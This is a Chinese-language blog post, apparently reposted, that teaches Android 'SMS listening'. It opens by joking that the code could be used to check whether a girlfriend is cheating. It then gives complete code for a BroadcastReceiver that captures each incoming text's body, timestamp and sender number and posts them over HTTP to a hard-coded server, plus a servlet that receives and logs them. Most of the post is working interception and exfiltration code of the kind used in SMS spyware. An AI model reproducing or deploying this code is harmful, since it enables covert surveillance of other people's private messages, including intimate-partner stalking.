android短信监听

来源:互联网 发布:java list泛型转换 编辑:程序博客网 时间:2024/06/06 03:04

今天又学了个新玩意儿,短信监听,要是某位程序猿想知道自己的女朋友是否有出轨行为,这个代码值得参考,呵呵,以上纯属玩笑,咱们写程序不能违法的是吧,好了,切入正题,上代码.

 public class SMSBorder extends BroadcastReceiver {



@Override
public void onReceive(Context context, Intent intent) {
// 使用参数名称plus取得短信内容,短信以pdu短信格式,二进制
Object[] meg = (Object[]) intent.getExtras().get("pdus");
// 对短信进行迭代
for (Object p : meg) {
byte[] pdu = (byte[]) p;
// 转换成可以识别的短信对象
SmsMessage sms = SmsMessage.createFromPdu(pdu);
// 取得短信的各个组成部分
String text = sms.getMessageBody();// 短信内容
Date date = new Date(sms.getTimestampMillis());// 短信接收的时间,该时间为long类型
// 把时间进行格式转化,变成常规年月日,时分秒的形式
SimpleDateFormat formats = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String receivetime = formats.format(date);
// 查看发送短信的对象,及发短信的电话号码
String ren = sms.getOriginatingAddress();
sendMessage(text, receivetime, ren);
}
}


private boolean sendMessage(String text, String receivetime, String ren) {


try {
String parm = "content=" + URLEncoder.encode(text, "UTF-8")
+ "&time=" + receivetime + "&number=" + ren;
byte[] entity = parm.getBytes();
// 得到服务器路径
String url = "http://192.168.211.98:8080/jsp/Receive";
// 采用http协议将数据发送到服务器
HttpURLConnection con = (HttpURLConnection) new URL(url)
.openConnection();
// 设置con的连接方式及相关参数
con.setConnectTimeout(4000);
con.setRequestMethod("POST");
con.setDoOutput(true);
// con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// 设置实体数据
con.setRequestProperty("Content-Length",
String.valueOf(entity.length));
con.getOutputStream().write(entity);
if (con.getResponseCode() == 200) {
return true;
}
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;


}
}

        以上为一个简单的短信监听案例,基本思想是继承一个广播接收事件即 BroadcastReceiver,然后 实现它的方法onReceive().再用intent来接收短信数据,运营商使用二进制格式发送短信,所以使用SmsMessage 这个对象将二进制短信内容转换成可识别的内容,既然得到了短信的相关内容,接下来就简单了,getMessageBody()得到短信内容,getTimestampMillis()得到短信发送的时间,不过这个时间要进行转变,不然就是一连串的数字在一起了,让人看起来不那么清晰,方法在代码中已给出,再其他的内容就看你自己想要得到哪些信息了,这里不再举例,既然得到了短信的相关数据了,要监听他们,我们该怎么做呢?

        接下来就要用到J2EE的知识了,得到发短信着的数据,肯定要把短信内容反馈到监听者这里了,也就是所谓的服务器了,这里用一个简单的servlet做演示

public class Receive extends HttpServlet {
private static final long serialVersionUID = 1L;


protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {


}



protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
         String content=request.getParameter("content");
         String time=request.getParameter("time");
         String number=request.getParameter("number");
         System.out.println("短信内容:"+content);
         System.out.println("发送时间:"+time);
         System.out.println("发送人号码:"+number);
}


}

由于上面的安卓端采用的是POST的请求方式,所以将接受数据的代码写在doPost方法中。这里相信学过J2EE的人都懂的。这里有一个地方可能要注意下,就是我设定的那个url地址,一般我们把代码部署到tomcat服务器上,在web界面显示的url开头都是localhost,但是这里不能写localhost,因为安卓手机并不能识别你所在的本地主机名,所以在局域网内是不能这样写的,必须写上你的ip地址全称(192.168.211.98),ip根据自己的机器而定,至于稍微有点难度的可能就是那个http协议传输数据了,这个不详细解释。下面贴上效果图


原创粉丝点击